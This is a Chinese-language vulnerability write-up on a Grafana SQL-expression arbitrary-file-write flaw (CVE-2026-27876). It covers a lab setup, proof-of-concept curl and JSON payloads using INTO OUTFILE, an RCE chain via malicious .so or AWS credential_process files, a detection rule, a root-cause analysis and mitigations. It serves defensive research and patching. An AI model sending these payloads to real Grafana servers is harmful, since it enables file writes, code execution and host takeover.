1. 项目概述

如果你正在使用Grafana来监控你的服务器、数据库或者业务指标，那么最近爆出的CVE-2026-27876这个漏洞，你绝对不能掉以轻心。这不是一个普通的权限绕过或者信息泄露，而是一个能导致远程代码执行的高危漏洞。简单来说，一个拥有数据源查询权限的攻击者，可以通过构造特定的SQL表达式，在Grafana服务器上写入任意文件，进而可能完全控制这台主机。我花了几天时间，在可控的测试环境中对这个漏洞进行了概念验证和深度分析，发现其背后的成因比想象中更值得玩味——它并非一个简单的SQL注入，而是功能特性、安全边界假设和底层引擎交互之间出现的“预期差”导致的。这篇文章，我会带你从零开始，搭建一个漏洞环境，一步步拆解攻击链，并深入源码层面，看看这个“任意文件写入”究竟是如何突破层层“只读”限制的。无论你是负责运维Grafana的工程师，还是对应用安全研究感兴趣的安全从业者，理解这个漏洞的来龙去脉，对于加固你的系统或提升安全认知都至关重要。

2. 环境搭建与漏洞复现准备

2.1 漏洞环境快速部署

要研究漏洞，首先得有一个“活靶子”。官方公告影响Grafana 12.4.1及之前的部分版本，并且需要开启sqlExpressions这个实验性功能。我选择使用Docker Compose来快速搭建一个可复现的环境，这样既干净又便于销毁。

核心配置文件docker-compose.yml：

version: '3.8' services: grafana: image: grafana/grafana:12.4.1 container_name: grafana-vuln ports: - "3000:3000" environment: - GF_SECURITY_ADMIN_USER=admin - GF_SECURITY_ADMIN_PASSWORD=admin # 关键漏洞前提：必须启用sqlExpressions功能开关 - GF_FEATURE_TOGGLES_ENABLE=sqlExpressions volumes: - grafana-storage:/var/lib/grafana volumes: grafana-storage:

这里有几个关键点需要注意：

1. 镜像版本：我们使用了明确存在漏洞的grafana/grafana:12.4.1。你也可以尝试其他受影响版本，如12.3.x系列。
2. 功能开关：GF_FEATURE_TOGGLES_ENABLE=sqlExpressions是触发漏洞的必要条件。这个环境变量告诉Grafana启用服务器端SQL表达式功能。在生产环境中，如果未显式开启此功能，则默认不受此漏洞影响。
3. 数据持久化：我们挂载了一个名为grafana-storage的卷到/var/lib/grafana，这是Grafana存储仪表盘、用户数据等配置的地方。在后续的漏洞利用链中，攻击者写入的文件也可能落在这个目录或其子目录下。

使用docker-compose up -d启动服务后，访问http://localhost:3000，用admin/admin登录，我们的漏洞环境就准备就绪了。

2.2 理解攻击面与前置条件

在开始“攻击”之前，我们必须清楚漏洞利用的门槛在哪里。CVE-2026-27876不是一个可以“匿名”利用的漏洞，它有着明确的前置条件。

攻击者需要具备的权限：

• 有效的身份认证：攻击者必须能够通过Grafana的认证。这可以是：
  • 一个有效的用户会话（Cookie）。
  • 一个拥有数据源查询权限的API密钥（API Key）。
  • 一个服务账户令牌（Service Account Token）。
• 数据源查询权限：该身份需要对至少一个数据源拥有“查询”（Query）权限。在Grafana中，这通常意味着是某个组织的Viewer或以上角色的用户。

系统环境需要满足的条件：

1. Grafana版本：在受影响范围内（如12.4.1）。
2. 功能开关：如上所述，启用了sqlExpressions。
3. 潜在的二次利用组件（用于RCE）：这是将“文件写入”升级为“代码执行”的关键。根据官方公告，漏洞链可能涉及：
   • Sqlyze驱动：这是一个企业版插件或相关组件，如果其驱动文件路径可被Grafana进程写入，则可能被恶意文件覆盖。
   • AWS数据源配置：Grafana的AWS数据源插件可能会读取特定路径的配置文件，如果该路径可写，则可能被植入恶意配置。

重要提示：我的测试环境为了纯粹性，没有安装Sqlyze或配置AWS数据源。因此，本文的复现将聚焦于漏洞的核心环节——“任意文件写入”的验证。我会通过写入一个测试文件到容器内部，来证明文件写入能力是真实存在的。而后续的RCE链，由于缺少企业版组件，属于“概念性”推演，但我会结合官方描述和代码逻辑，详细说明其可行性。

3. 漏洞手动复现与流量分析

3.1 场景A：验证SQL表达式注入点

我们的第一步是确认，我们能否通过认证的API，将我们控制的SQL表达式字符串送入Grafana的服务端处理管道。这里的目标不是直接写文件，而是先走通整个查询请求的流程。

步骤分解：

1. 获取认证凭证：登录Grafana后台，通过浏览器开发者工具（F12 -> Network）抓取一个任意查询请求，复制其中的grafana_sessionCookie值。或者，在“Configuration -> API Keys”中创建一个拥有Admin权限的API Key，后续在请求头中使用Authorization: Bearer <your-api-key>。

2. 准备一个基础数据源：为了构造合法的查询请求，我们需要一个正常的数据源作为“数据输入”。在Grafana中添加一个“TestData DB”数据源（这是内置的模拟数据源），记下它的UID（在数据源设置页面URL中或JSON模型里可以看到）。

3. 构造攻击Payload：漏洞触发的核心在于向/api/ds/query接口发送一个特殊的JSON请求体。这个请求体需要包含至少两个查询（queries数组）：

   • refId: “A”：一个来自普通数据源（如TestData）的合法查询，用于提供数据帧（Data Frames）。
   • refId: “B”：一个数据源类型（datasource.type）为__expr__的查询，并且其type字段设置为”sql”，expression字段放入我们想要测试的SQL语句。

一个用于验证的示例Payload：

curl -X POST http://localhost:3000/api/ds/query \ -H “Content-Type: application/json” \ -H “Cookie: grafana_session=YOUR_SESSION_COOKIE_HERE” \ -d ‘{ “from”: “now-1h”, “to”: “now”, “queries”: [ { “refId”: “A”, “datasource”: { “type”: “grafana-testdata-datasource”, “uid”: “PE9F52A8F2E620CFA” // 替换为你的TestData数据源UID }, “scenarioId”: “random_walk”, “intervalMs”: 1000, “maxDataPoints”: 100 }, { “refId”: “B”, “datasource”: { “uid”: “__expr__”, “type”: “__expr__” }, “type”: “sql”, “expression”: “SELECT * FROM A LIMIT 5” // 这是一个无害的测试语句，查询A的结果 } ] }’

如果请求成功，你会收到一个JSON响应，其中会包含refId为B的查询结果，这表明我们的SQL表达式SELECT * FROM A LIMIT 5已经被服务端成功接收、解析并执行。这证明了__expr__+type:sql这个攻击面是打开的。

3.2 场景B：实现任意文件写入验证

现在，我们来验证漏洞的核心——文件写入。在MySQL中，SELECT … INTO OUTFILE语句可以将查询结果写入服务器文件系统。虽然Grafana的SQL引擎（go-mysql-server）在创建时设置了IsReadOnly: true，但漏洞版本中，某些语义路径可能绕过了这个限制。

为了验证，我们需要一个允许文件操作的数据源作为“跳板”。我选择在Docker环境中启动一个MySQL容器，并将其配置为允许SELECT … INTO OUTFILE（通过设置secure_file_priv=’’），然后将其添加为Grafana的数据源。

步骤分解：

1. 启动一个不安全的MySQL测试容器：

   docker run -d --name mysql-for-test \ -e MYSQL_ROOT_PASSWORD=root \ -e MYSQL_DATABASE=testdb \ mysql:8.0 \ --secure-file-priv=””

   关键参数--secure-file-priv=””允许向任意可写路径执行INTO OUTFILE。

2. 在Grafana中添加MySQL数据源：使用上述容器的IP（可用docker inspect获取或使用host.docker.internal）和凭证进行配置。

3. 构造文件写入Payload：这次，我们将refId: “A”的数据源换成这个MySQL数据源，并在refId: “B”的SQL表达式中，尝试通过INTO OUTFILE将数据写入容器内的一个文件。

文件写入Payload示例：

{ “from”: “now-1h”, “to”: “now”, “queries”: [ { “refId”: “A”, “datasource”: { “type”: “mysql”, “uid”: “MYSQL_DS_UID” // 替换为你的MySQL数据源UID }, “rawSql”: “SELECT ‘VULNERABLE!’ as test_column”, “format”: “table” }, { “refId”: “B”, “datasource”: { “uid”: “__expr__”, “type”: “__expr__” }, “type”: “sql”, “expression”: “SELECT * FROM A INTO OUTFILE ‘/tmp/grafana_hacked.txt’” } ] }

发送这个请求。如果漏洞存在，这个请求不会在响应中直接返回文件内容（通常会是一个错误或空响应，因为INTO OUTFILE不返回结果集给客户端），但文件可能已经写入。

4. 验证文件是否写入：进入Grafana容器内部检查。

   docker exec -it grafana-vuln bash ls -la /tmp/grafana_hacked.txt cat /tmp/grafana_hacked.txt

   如果看到文件内容为VULNERABLE!，那么恭喜，你已经成功复现了CVE-2026-27876的核心漏洞——通过SQL表达式实现了任意文件写入。

实操心得：在实际测试中，你可能会遇到权限错误。因为Grafana容器进程（通常以用户grafana运行）需要对目标路径有写权限。/tmp目录通常是全局可写的，因此是理想的测试目标。在生产环境中，攻击者会寻找Grafana进程有写权限的目录，例如其数据目录/var/lib/grafana下的子目录、插件目录或临时目录。

3.3 复现流量特征与WAF/IDS规避思考

作为防御方，了解攻击流量特征至关重要。从上面的复现过程，我们可以提取出关键特征供WAF或IDS规则参考：

• 请求路径：POST /api/ds/query。在Kubernetes环境中，如果启用了相关特性，路径可能被重写为类似/apis/query.grafana.app/v0alpha1/namespaces/<org-namespace>/query的形式。
• 请求体特征：
  1. queries数组中，至少有一个对象的datasource包含”uid”: “__expr__”和”type”: “__expr__”。
  2. 同一个查询对象中，”type”: “sql”字段必须存在。
  3. expression字段中，包含敏感的SQL关键字组合，如INTO OUTFILE、INTO DUMPFILE、LOAD_FILE（虽然可能被白名单拦截，但仍需警惕）等，特别是这些关键字与文件路径（如/tmp/、/var/lib/、.so、.jar、.ini、.json）结合时。

一个简化的检测规则思路（伪代码）：

if request.path matches ‘(/api/ds/query|/apis/query\.grafana\.app/)’: if request.body contains ‘”__expr__”’ and ‘”type”:”sql”’: expression = extract_expression_field(request.body) if expression contains (‘INTO OUTFILE’, ‘INTO DUMPFILE’) and (‘/’, ‘\\’, ‘.so’, ‘.dll’, ‘.conf’): raise SecurityAlert(“Potential CVE-2026-27876 Exploit Attempt”)

注意事项：直接阻断所有包含__expr__的请求可能会影响合法使用该功能的业务。更精细的做法是结合用户行为基线（普通用户突然发送复杂SQL表达式）、表达式复杂度分析以及目标文件路径的危险性进行综合评分和告警。

4. 漏洞原理深度剖析

4.1 入口定位：谁放行了SQL表达式？

漏洞的起点在于Grafana的服务器端表达式（Server-Side Expressions, SSE）功能。当我们在请求中指定数据源为__expr__且type为sql时，Grafana会尝试构建一个SQLCommand。

在源码pkg/expr/nodes.go中，构建命令时有明确的特性开关检查：

if commandType == TypeSQL { //nolint:staticcheck if !toggles.IsEnabledGlobally(featuremgmt.FlagSqlExpressions) { return nil, fmt.Errorf(“sql expressions are disabled”) } }

这说明，sqlExpressions功能开关是SQL表达式能力的唯一总闸。只要管理员开启了它，就为后续的漏洞利用打开了第一道门。这里的预期是，开启功能是为了允许用户在面板中进行更强大的数据转换和分析，但安全假设是“表达式应在安全沙箱中运行”。

4.2 执行路径：只读引擎为何失守？

SQLCommand在执行时（pkg/expr/sql_command.go），会调用sql.DB.QueryFrames。在这个函数内部，存在两道预期的安全防线：

1. 语法白名单 (AllowQuery)：位于pkg/expr/sql/parser_allow.go。它基于Vitess SQL解析器，遍历抽象语法树（AST），只允许预定义的安全节点类型。它的目的是拦截像LOAD_FILE()这样明显的危险函数。
2. 只读引擎配置：在创建go-mysql-server引擎实例时，传入了IsReadOnly: true的配置。

   engine := sqle.New(a, &sqle.Config{ IsReadOnly: true, })

理论上，这两道防线应该确保SQL表达式只能进行“读”操作，无法对底层文件系统进行“写”操作。然而，CVE-2026-27876的存在，宣告了这个安全模型在特定条件下被打破。

问题的关键可能在于“只读”语义的覆盖范围。go-mysql-server的IsReadOnly配置可能主要作用于存储引擎层，禁止对“表”数据进行增删改。但对于某些SQL语句（如SELECT … INTO OUTFILE），其副作用（side-effect）是写入文件系统，这可能被引擎视为一种“输出”或“导出”功能，而非对“数据库”的写入，从而绕过了只读限制。这暴露了安全边界定义的不清晰。

4.3 静态线索：白名单中的“INTO”节点

深入查看漏洞版本（12.4.1）的parser_allow.go文件，我发现了非常可疑的一处：

case *sqlparser.Into: return // 直接放行，不做任何检查！

*sqlparser.Into节点对应SQL中的INTO子句，这正是SELECT … INTO OUTFILE语句的关键组成部分。在白名单中无条件放行这个节点，意味着解析器允许查询中包含INTO语法。

对比修复后的版本（如12.4.2），这里的逻辑被修正了：

case *sqlparser.Into: // Plain SELECT statements may carry a typed-nil Into pointer. // Reject only when INTO is actually present. return v == nil // 只有当v为nil（即不存在INTO子句）时才放行！

修复代码的注释也说明了问题：普通的SELECT语句可能携带一个类型为*sqlparser.Into但值为nil的指针。漏洞版本的检查逻辑有误，导致即使INTO子句真实存在，也被错误地放行了。

此外，修复版本还增加了大量其他函数和节点的白名单，这可能是为了在收紧安全的同时，不影响合法的表达式功能，同时也修补了其他潜在的绕过点。

4.4 攻击链路推演：从写入到RCE

结合官方公告和代码分析，完整的攻击链路可以清晰地描绘出来：

1. 注入：攻击者通过认证API，向/api/ds/query发送包含恶意expression（带INTO OUTFILE）的请求。
2. 解析与放行：请求通过特性开关检查，SQLCommand被创建。AllowQuery函数错误地放行了*sqlparser.Into节点。
3. 执行与写入：go-mysql-server引擎（尽管配置了IsReadOnly）执行了SELECT … INTO OUTFILE语句。由于引擎对该语句的副作用处理存在缺陷，或“只读”配置未涵盖文件系统操作，导致查询结果被写入Grafana进程具有写权限的任意路径（如/var/lib/grafana/plugins/sqlyze-driver/evil.so或/var/lib/grafana/aws_config.json）。
4. 二次触发与RCE：
   • Sqlyze驱动覆盖：如果环境中安装了Sqlyze插件，当下次Grafana加载该驱动时，会加载被替换的恶意共享库（.so文件），导致攻击者代码在Grafana进程上下文中执行。
   • AWS配置注入：如果配置了AWS数据源，该插件可能会从特定路径读取配置文件。写入恶意的配置文件可能导致插件执行任意命令（例如，通过篡改credential_process指向攻击者控制的脚本）。
5. 权限提升与持久化：获得Grafana进程权限（可能是grafana用户）后，攻击者可以通过内核漏洞提权、滥用Grafana服务权限访问敏感资源（如云元数据服务）等方式，进一步获取主机SSH权限或建立持久化后门。

这个链路揭示了现代应用安全的一个典型问题：安全功能的组合并非总是安全的。特性开关、语法白名单、只读引擎，每一层看起来都有防护，但层与层之间的语义缝隙，却被一个“古老”的SQL语句特性所利用。

5. 修复方案与加固建议

5.1 官方修复与升级

最根本的解决方法是升级到已修复的Grafana版本。Grafana Labs已发布了以下安全版本：

• Grafana 12.4.2
• Grafana 12.3.6
• Grafana 12.2.8
• Grafana 12.1.10
• Grafana 11.6.14

升级步骤建议：

1. 备份当前的Grafana数据和配置文件（特别是/var/lib/grafana和/etc/grafana）。
2. 查阅官方升级指南，注意版本间的重大变更。
3. 在测试环境先行验证升级流程和业务兼容性。
4. 对生产环境进行滚动升级或安排维护窗口进行升级。

5.2 临时缓解措施

如果无法立即升级，可以采取以下措施降低风险：

1. 禁用危险特性：在Grafana配置文件（grafana.ini）中，确保没有启用sqlExpressions功能。

   [feature_toggles] enable = sqlExpressions # 确保此行不存在或值为空

   重启Grafana服务使配置生效。注意：这会禁用所有服务器端SQL表达式功能，可能影响依赖此功能的仪表盘。

2. 网络层访问控制：

   • 将Grafana管理界面（默认3000端口）限制在内部管理网络或VPN中访问。
   • 如果必须对外暴露，考虑通过反向代理（如Nginx）添加额外的认证层（如HTTP Basic Auth）。
   • 在防火墙或WAF上，针对/api/ds/query路径设置更严格的访问策略，例如只允许特定的管理IP段访问。

3. 权限最小化：

   • 运行Grafana服务的操作系统用户（如grafana）应仅拥有所需的最小权限。避免以root身份运行。
   • 使用容器时，确保用户非root，并限制容器的能力集（如使用--cap-drop=ALL然后添加必要的能力）。
   • 对Grafana的数据目录和插件目录进行严格的权限控制，确保只有Grafana进程用户可写，并尽可能减少可写目录的数量。

4. 审计与监控：

   • 启用Grafana的详细日志，并监控日志中是否有异常的、包含__expr__和复杂expression的查询请求。
   • 使用HIDS（主机入侵检测系统）监控Grafana进程对敏感路径（如插件目录、配置目录）的写入行为。

5. 检查并更新相关组件：

   • 如果使用了Sqlyze，请将其更新至v1.5.0或更高版本。
   • 审查并确保AWS数据源等插件的配置安全，避免使用不可信的配置文件路径。

5.3 长期安全实践

除了应对此特定漏洞，一些长期的安全实践能有效提升Grafana部署的整体安全性：

• 定期更新：订阅Grafana安全公告，建立定期更新机制。
• 强化认证：启用多因素认证（MFA），使用强密码策略，定期轮换API密钥。
• 遵循最小权限原则：在数据源层面，为用户分配刚好够用的查询权限，避免普通用户拥有管理员权限。
• 隔离部署：将Grafana部署在独立的安全域或VPC中，与其他业务系统隔离。
• 安全配置基线：参考CIS Benchmark等安全配置指南对Grafana进行加固。

6. 研究过程中的常见问题与排查

在复现和研究这个漏洞的过程中，我遇到了不少坑，这里记录一下，如果你自己动手，可能会少走些弯路。

问题1：请求返回“sql expressions are disabled”错误。

• 原因：sqlExpressions功能开关没有正确启用。
• 排查：
  1. 检查docker-compose.yml或环境变量GF_FEATURE_TOGGLES_ENABLE是否包含sqlExpressions。多个特性用逗号分隔。
  2. 进入Grafana容器，检查/etc/grafana/grafana.ini配置文件，确认[feature_toggles]部分。
  3. 通过Grafana的HTTP API查询当前开启的特性：curl -H “Authorization: Bearer <API_KEY>” http://localhost:3000/api/feature-toggles。

问题2：文件写入Payload执行后，返回错误或没有在预期路径找到文件。

• 原因：
  1. 权限不足：Grafana进程用户对目标路径没有写权限。尝试写入/tmp或/var/lib/grafana下的子目录。
  2. MySQL数据源配置问题：secure_file_priv设置不正确，或者MySQL用户没有FILE权限。
  3. 路径不存在：容器内目标路径的父目录不存在。
• 排查：
  1. 进入Grafana容器，手动尝试touch /target/path测试写权限。
  2. 在Grafana的“Explore”页面直接使用MySQL数据源执行SELECT … INTO OUTFILE语句，看是否成功。
  3. 查看Grafana日志（/var/log/grafana/grafana.log），寻找SQL执行错误信息。

问题3：无法理解或构造正确的查询请求JSON结构。

• 技巧：
  1. 利用浏览器开发者工具：在Grafana面板中创建一个使用“Transform data”并选择“SQL expression”的查询，然后查看浏览器网络请求中发送的JSON格式，这是最标准的模板。
  2. 查阅Grafana源码：pkg/expr目录下的query.go、nodes.go等文件定义了请求和命令的数据结构，是终极参考。
  3. 从简单开始：先构造一个能返回正常结果的、最简单的SELECT * FROM A表达式，确保通道畅通，再逐步替换复杂的expression。

问题4：WAF或网络设备拦截了攻击请求。

• 现象：请求被重置、连接超时或返回非Grafana标准的错误页面。
• 应对：
  1. 在测试环境中，暂时禁用WAF或将其置于观察模式。
  2. 分析WAF日志，查看触发了哪条规则。可能需要调整规则或对测试流量加白。
  3. 尝试对请求体进行轻微变形，如调整JSON键的顺序、添加无关字段、使用不同的编码（需确保Grafana仍能解析），但这主要用于理解WAF行为，并非绕过建议。

研究这个漏洞让我深刻体会到，安全是一个动态的过程。一个精心设计、拥有多层防护的功能，也可能因为某一层语义理解的偏差而崩塌。对于运维者，及时更新、最小权限、纵深防御是不变的真理；对于开发者，则需要对任何用户可控的输入、任何具有副作用的操作保持最高级别的警惕，安全边界的测试需要覆盖各种意想不到的组合路径。